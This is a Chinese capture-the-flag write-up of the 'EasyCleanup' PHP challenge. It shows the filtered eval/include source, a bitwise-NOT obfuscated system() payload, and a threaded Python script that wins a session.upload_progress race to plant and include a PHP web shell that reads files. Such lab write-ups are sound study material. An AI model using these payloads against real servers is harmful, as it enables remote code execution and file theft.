[第五空间 2021]EasyCleanup

题目源代码:

php 复制代码
 <?php 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?> 

解题方法一:

exp:

php 复制代码
<?php
$s='nl /*';
echo '~'.urlencode(~$s);

http://node4.anna.nssctf.cn:28488/?mode=eval&shell=system(~%91%93%DF%D0%D5);

解题方法二:

【文件包含&条件竞争】利用session.upload_progress文件包含进行RCE

使用条件

  • 目标环境开启了session.upload_progress.enable选项
  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
  • 请求的Cookie中包含Session ID

注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

python 复制代码
import io
import threading

import requests

url = "http://node4.anna.nssctf.cn:28873/"
sess_id = "1"
file_name = '1.txt'
file_data = io.BytesIO(b'a' * 1024 * 50)


def write(session):
    while True:
        session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
                     cookies={'PHPSESSID': sess_id}, files={'file': (file_name, file_data)})


def read(session):
    while True:
        res = session.post(f"{url}?mode=foo&file=/tmp/sess_{sess_id}&cmd=system('nl /*');")
        if file_name in res.text:
            print(res.text)
            break
        else:
            print("Retry")


if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()
相关推荐
学步_技术1 小时前
Python编码系列—Python团队开发工作流:高效协作的艺术
开发语言·python·团队开发
shiming88791 小时前
Python数据分析与可视化
开发语言·python·数据分析
William数据分析1 小时前
Python数据分析与可视化实战指南
python·数据
Python之栈2 小时前
Python if 语句优化技巧
python·算法
白总Server2 小时前
MySQL在大数据场景应用
大数据·开发语言·数据库·后端·mysql·golang·php
姑苏老陈2 小时前
【Python基础】Python文件处理
开发语言·python·python文件操作
yukai080082 小时前
Python 全栈系列271 微服务踩坑记
python·微服务·php
学步_技术2 小时前
Python编码系列—Python工厂方法模式:构建灵活对象的秘诀
开发语言·python·工厂方法模式
秋秋秋叶3 小时前
Python学习——【2.3】for循环
python·学习
会发paper的学渣3 小时前
python 单例模式实现
开发语言·python·单例模式